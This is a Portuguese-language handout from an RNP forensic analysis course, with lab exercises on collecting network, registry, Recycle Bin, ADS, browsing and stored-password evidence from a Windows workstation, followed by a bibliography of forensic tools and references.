O aluno já possui conhecimentos para realizar análises resposta inicial a um incidente.
em computadores comprometidos e identificar os
responsáveis e eventos que comprometeram o sistema.
É importante que o aluno entenda que este material A partir de agora, o aluno possui uma base de
serve como uma base para que ele possa pesquisar e se conhecimento para realizar análises em computadores
aprofundar no assunto.
comprometidos e identificar responsáveis e eventos que
possam ter causado o comprometimento do sistema,
e com isso desenvolver medidas preventivas contra
ataques. Mesmo assim, é importante que o aluno entenda que este material serve
como uma base para que ele possa pesquisar e se aprofundar no assunto. As ati-
vidades práticas e a bibliografia ajudam-no a iniciar sua pesquisa por mais informações.

Análise forense avançada em Windows (parte 2)


176
Escola Superior de Redes RNP

Análise forense – Sessão de aprendizagem 10


10
Sessão de aprendizagem 10
Análise forense avançada em Windows
(parte 2)
Roteiro de atividades
Tópicos e conceitos

\\Identificar as conexões de rede e informações do sistema operacional


Windows.

Competências técnicas desenvolvidas

\\Identificar
as conexões e portas ativas de rede e outras informações voláteis
da estação Windows.

Outras competências desenvolvidas

\\Capacidade de investigação e pesquisa do aluno.

Tempo previsto para as atividades

\\90 minutos
178
Escola Superior de Redes RNP

Atividade 1 – Coleta de informações de redes

Usando as ferramentas vistas nessa sessão, colete todas as evidências


sobre conexões de rede em sua estação. Pesquise na internet as portas
abertas em sua estação e descreva o serviço oferecido por elas. Pesquise
também as vulnerabilidades que podem afetar as portas.

Atividade 2 – Coleta de informações em registros do Windows

Utilizando as ferramentas de análise do registro, examine o registro de


sua estação e faça um relatório sobre o conteúdo das chaves
importantes, de acordo com o que foi mostrado no texto. Existe alguma
inconsistência no resultado das ferramentas? Faça também uma cópia
completa do registro.

Atividade 3 – Análise de conteúdo do Recycle.Bin

Faça um relatório sobre o conteúdo dos diretórios Recycler em sua


estação. Liste todos os usuários disponíveis e o conteúdo dos diretórios
Recycler de cada um. Capture o conteúdo da área de transferência e
coloque em seu relatório. Faça também uma pesquisa pelo último arquivo
acessado no drive C: e coloque no relatório todas as informações
possíveis sobre ele.

Atividade 4 – Recuperação de dados ocultos ADS

Procure no disco de sua estação por arquivos que contenham Alternate


Data Streams. Faça um resumo dos tipos de arquivos encontrados.

Atividade 5 – Análise do histórico de navegação

Examine o histórico de navegação e cookies em sua estação. Você


consegue dizer se a estação foi utilizada para acessar sites que não têm
a ver com o curso? Que tipo de informação você considera mais
importante para uma investigação?

Análise forense – Sessão de aprendizagem 10


179

Atividade 6 – Recuperação de senhas

Utilizando as ferramentas vistas no item de recuperação de senhas,


examine as informações armazenadas em sua estação. Faça um relatório
das senhas que encontrar. Lembre-se de manter o sigilo sobre o que
encontrar, mas informe ao seu instrutor se encontrar alguma senha de
uso pessoal armazenada na estação.

Análise forense avançada em Windows (parte 2)


180
Escola Superior de Redes RNP

Análise forense – Sessão de aprendizagem 10


Bibliografia
\\Access Data. Acesso em março de 2008, disponível em: http://www.accessdata.com/

\\Alertas do CAIS. Acesso em março de 2008, disponível em:


http://www.rnp.br/cais/alertas/

\\Analysis of the ATD OpenSSL Mass Exploiter. Acesso em março de 2008,


disponível em SecureWorks: http://www.lurhq.com/atd.html

\\Another hacker tool has been detected. Acesso em março de 2008, disponível em
Computing and Networking Services: http://cns.utoronto.ca/~scan/expltool.txt

\\Autopsy Forensic Browser. Acesso em março de 2008, disponível em:


http://www.sleuthkit.org/autopsy/

\\AVG Free. Acesso em março de 2008, disponível em:


http://free.grisoft.com/doc/2/lng/us/tpl/v5

\\BitDefender. Acesso em março de 2008, disponível em:


http://www.bitdefender.com/site/Downloads/

\\Botnet from SearchSecurity.com. Acesso em março de 2008, disponível em


SearchSecurity.com Definitions:
http://searchsecurity.techtarget.com/sDefinition/0,,sid14_gci1030284,00.html

\\Botnet from Wikipedia. Acesso em março de 2008, disponível em Wikipedia:


http://en.wikipedia.org/wiki/Botnet

\\CERT Advisory CA-2002-23 Multiple Vulnerabilities In OpenSSL. Acesso em março


de 2008, disponível em CERT: http://www.cert.org/advisories/CA-2002-23.html

\\Chkrootkit. Acesso em março de 2008, disponível em: http://www.chkrootkit.org

\\Clam AntiVirus. Acesso em março de 2008, disponível em:


http://www.clamav.org/about/lang-pref/pt/

\\Computer Desktop Encyclopedia: slack space. Acesso em março de 2008, disponível


em Answers.com: http://www.answers.com/topic/slack-space?cat=technology

\\Digital
Forensic Research Workshop. Acesso em março de 2008, disponível em
DFRWS: http://www.dfrws.org/
\\Dynamic-link library from Wikipedia. Fonte: Wikipedia:
http://en.wikipedia.org/wiki/Dynamic-link_library

\\EnCase Forensic. Acesso em março de 2008, disponível em Guidance Software:


http://www.guidancesoftware.com/products/ef_index.asp

\\Express, M. o. (6 de agosto de 1999). Murder_on_the_Internet_Express.pdf.


Acesso em março de 2008, disponível em Neoprag:
http://www.neoprag.com/dcm/Murder_on_the_Internet_Express.pdf

\\Forensic Computers, Inc. Acesso em março de 2008, disponível em:


http://www.forensic-computers.com/index.php

\\Forensic Windows Tools. Acesso em março de 2008, disponível em Open Source


Digital Forensics: http://www.opensourceforensics.org/tools/windows.html

\\Forensics Tools. Acesso em março de 2008, disponível em ForinSect - Forensics,


Intrusion Detection, Security Technology:
http://www.forinsect.de/forensics/forensics-tools.html

\\F-PROT Antivirus. Acesso em março de 2008, disponível em:


http://www.f-prot.com/download/home_user/

\\Helix:
Incident Response & Computer Forensics Live CD by e-fense™, Inc. Acesso
em março de 2008, disponível em Helix Live CD: http://www.e-fense.com/helix

\\Helix from Forensics Wiki. Acesso em março de 2008, disponível em Forensics Wiki:
http://www.forensicswiki.org/index.php?title=Helix

\\IDA Pro. Acesso em março de 2008, disponível em DataRescue:


http://www.datarescue.com/

\\Inside Security Rescue Toolkit. Acesso em março de 2008, disponível em Inside


Security: http://www.inside-security.de/insert_en.html

\\LDasm. Acesso em março de 2008, disponível em Feedface:


http://www.feedface.com/projects/ldasm.html

\\Linux.RST.B. Acesso em março de 2008, disponível em Symantec:


http://www.symantec.com/security_response/writeup.jsp?docid=2004-052312-2729-99

\\md5deep. Acesso em março de 2008, disponível em sourceforge.net:


http://md5deep.sourceforge.net

\\Microsoft NTFS File System. Acesso em março de 2008, disponível em Microsoft


TechNet: http://www.microsoft.com/technet/prodtechnol/windows2000serv/
reskit/core/fncc_fil_khzt.mspx?mfr=true

\\Nachi worm tries to undo Blaster damage - but no virus is a good virus, says
Sophos. (19 de Ago de 2003). Acesso em março de 2008, disponível em Sophos:
http://www.sophos.com/pressoffice/news/articles/2003/08/va_nachi.html

\\National Software Reference Library. Acesso em março de 2008, disponível em:


http://www.nsrl.nist.gov/
\\NIST. Cryptographic hash project. Fonte: NIST.gov:
http://www.csrc.nist.gov/groups/ST/hash/index.html

\\NTFS file system. Acesso em março de 2008, disponível em Digit-Life:


http://www.digit-life.com/articles/ntfs/

\\NTFS Master File Table (MFT). Acesso em março de 2008, disponível em NTFS.com:
http://www.ntfs.com/ntfs-mft.htm

\\NTFS System (Metadata) Files. Acesso em março de 2008, disponível em


PCGuide: http://www.pcguide.com/ref/hdd/file/ntfs/archFiles-c.html

\\OllyDbg. Acesso em março de 2008, disponível em OllyDbg: http://www.ollydbg.de/

\\Ondrej, M. (2 de dezembro de 2004). Practical Attacks on Digital Signatures


Using MD5 Message Digest. Acesso em março de 2008, disponível em:
http://cryptography.hyperlink.cz/2004/collisions.htm

\\Panda Antivirus. Acesso em março de 2008, disponível em Panda Security:


http://www.pandasecurity.com/brazil/

\\Piccolini,J. D. Forensics under Brazilian Legislation. Acesso em março de 2008,


disponível em GIAC Certified Forensic Analyst (GCFA) Practical Assignment:
http://www.giac.org/certified_professionals/practicals/gcfa/86.php

\\Pimenta, Flávio Aparecido. Perícia forense computacional baseada em sistema


operacional Windows XP Professional. Sorocaba: Senac, 2007.

\\ProcessLibrary.com. Acesso em março de 2008, disponível em:


http://www.processlibrary.com/

\\Prosise, C., & Mandia, K. (2001). Incident Response: Investigating Computer


Crime. McGraw-Hill. psyBNC. Acesso em março de 2008, disponível em:
http://www.psybnc.info/

\\RFC 1321. (Abril de 1992). Acesso em março de 2008, disponível em faqs.org:


http://www.faqs.org/rfcs/rfc1321.html

\\RFC 3174. (Setembro de 2001). Acesso em março de 2008, disponível em faqs.org:


http://www.faqs.org/rfcs/rfc3174.html

\\RST-variant analysis. Acesso em março de 2008, disponível em Lockeddown:


http://www.lockeddown.net/rst-expl.txt

\\Scott, M. (Agosto de 2003). Independent Review of Common Forensic Imaging


Tools. Acesso em março de 2008, disponível em SANS Institute:
http://www.sans.org/reading_room/special/index.php?id=forensicimaging

\\SID: Security Identifier. Acesso em março de 2008, disponível em Webopedia


ISP Glossary: http://isp.webopedia.com/TERM/S/SID.html

\\SID Components. Acesso em março de 2008, disponível em msdn:


http://msdn2.microsoft.com/en-us/library/aa379597(VS.85).aspx
\\Slack space data: Subversive Technologies & Countermeasures. Acesso em
março de 2008, disponível em Wikipedia:
http://www.wikistc.org/wiki/Slack_space_data

\\Solaris Fingerprints Database. Acesso em março de 2008, disponível em:


http://sunsolve.sun.com/fileFingerprints.do

\\Steganography from Wikipedia. Acesso em março de 2008, disponível em


Wikipedia: http://en.wikipedia.org/wiki/Steganography

\\Steganography: Hiding Data Within Data. Acesso em março de 2008, disponível


em GaryKessler.Net: http://www.garykessler.net/library/steganography.html

\\Szydlo, M. (19 de Agosto de 2005). SHA1 Collisions can be Found in 2^63


Operations. Acesso em março de 2008, disponível em RSA Laboratories:
http://www.rsa.com/rsalabs/node.asp?id=2927

\\The Coroner’s Toolkit. Acesso em março de 2008, disponível em:


http://www.porcupine.org/forensics/tct.html

\\The Honeynet Project. Acesso em março de 2008, disponível em:


http://www.honeynet.org/

\\The NTFS File System from Sleuth Kit Implementation Notes (SKINs). Acesso em
março de 2008, disponível em Sleuth Kit:
http://www.sleuthkit.org/sleuthkit/docs/skins_ntfs.html

\\The Programmer’s File and Data Resource. Fonte: Wotsit.org:


http://www.wotsit.org/list.asp?fc=0

\\The Sleuth Kit. Acesso em março de 2008, disponível em: http://www.sleuthkit.org/

\\Transactional NTFS (TxF). Acesso em março de 2008, disponível em msdn:


http://msdn2.microsoft.com/en-us/library/aa365456.aspx

\\Tripwire.Acesso em março de 2008, disponível em Tripwire - Configuration Audit


& Control Solutions: http://www.tripwire.com

\\Vexira Antivirus. Fonte: http://www.centralcommand.com/

\\VMware Virtualization, Virtual Machine & Virtual Server Consolidation - VMware.


Acesso em março de 2008, disponível em VMWare: http://www.vmware.com/

\\Wine HQ. Acesso em março de 2008, disponível em Wine HQ:


http://www.winehq.org/

Seja um investigador
capaz de coletar evidências digitais
e conduzir uma análise em
sistemas comprometidos
Análise forense

O curso apresenta as técnicas e ferramentas utilizadas


em análise forense computacional. Aprenda os procedi-
mentos a serem seguidos pelo investigador durante a
análise do incidente. Crie o CD de ferramentas forenses
que será utilizado durante a investigação.
Aprenda a coletar evidências em uma imagem de disco
de uma máquina comprometida. Elabore uma cronolo-
gia do ataque, descrevendo o que aconteceu e quando
ocorreu cada evento do computador investigado.
Compreenda as particularidades do processo de aná-
lise forense em Linux e Windows e a gênese das infor-
mações que devem ser coletadas em cada situação
enfrentada. Identifique as informações dos programas
executados e as bibliotecas associadas.

www.esr.rnp.br

Você também pode gostar